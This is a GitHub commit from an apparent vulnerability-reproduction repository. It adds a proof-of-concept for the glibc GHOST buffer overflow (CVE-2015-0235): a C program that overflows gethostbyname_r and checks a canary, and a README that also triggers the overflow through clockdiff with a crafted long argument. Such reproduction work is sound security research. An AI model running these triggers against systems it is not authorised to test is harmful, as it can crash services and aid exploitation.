Skip to content

Commit

Permalink
add one more CVE
Browse files Browse the repository at this point in the history
  • Loading branch information
mudongliang committed May 29, 2018
1 parent b951e52 commit 0e4ab86
Show file tree
Hide file tree
Showing 3 changed files with 72 additions and 2 deletions.
38 changes: 38 additions & 0 deletions CVE-2015-0235/GHOST.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#define CANARY "in_the_coal_mine"

struct {
char buffer[1024];
char canary[sizeof(CANARY)];
} temp = { "buffer", CANARY };

int main(void) {
struct hostent resbuf;
struct hostent *result;
int herrno;
int retval;

/*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
char name[sizeof(temp.buffer)];
memset(name, '0', len);
name[len] = '\0';

retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);

if (strcmp(temp.canary, CANARY) != 0) {
puts("vulnerable");
exit(EXIT_SUCCESS);
}
if (retval == ERANGE) {
puts("not vulnerable");
exit(EXIT_SUCCESS);
}
puts("should not happen");
exit(EXIT_FAILURE);
}
34 changes: 33 additions & 1 deletion CVE-2015-0235/README.md
Original file line number Diff line number Diff line change
@@ -1,19 +1,51 @@
# CVE/EDB ID
# CVE-2015-0235

## Experiment Environment

Ubuntu 11.04
Fedora 14

## INSTALL & Configuration

Preinstalled Environment

## Problems in Installation & Configuration

## How to trigger vulnerability

### Method 1

```
gcc -o GHOST GHOST.c
./GHOST
```

### Metnod 2

```
sudo apt install iputils-clockdiff
/usr/sbin/clockdiff `python -c "print '0' * $((0x10000-16*1-2*4-1-4))"`
/usr/sbin/clockdiff `python -c "print '0' * $((0x20000-16*1-2*4-1-4))"`
```

## PoCs

[Qualys Security Advisory CVE-2015-0235 - GHOST: glibc gethostbyname buffer overflow](http://seclists.org/oss-sec/2015/q1/274)

## Vulnerability Details & Patch

### Root Cause

[Qualys Security Advisory CVE-2015-0235 - GHOST: glibc gethostbyname buffer overflow](http://seclists.org/oss-sec/2015/q1/274)

### Stack Trace

### Patch

[Upstream patch](https://sourceware.org/git/?p=glibc.git;a=commit;h=d5dd6189d506068ed11c8bfa1e1e9bffde04decd)

## References

<http://www.openwall.com/lists/oss-security/2015/01/27/9>

<http://seclists.org/fulldisclosure/2015/Jan/111>
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -199,7 +199,7 @@ If you encounter problems with keyword "Failed to lock files", you could try to
- [x] CVE-2014-8322
- [x] CVE-2014-8768
- [x] CVE-2014-9295
- [ ] CVE-2015-0235
- [x] CVE-2015-0235
- [x] CVE-2015-0252
- [x] CVE-2015-1265
- [x] CVE-2015-3205
Expand Down

0 comments on commit 0e4ab86

Please sign in to comment.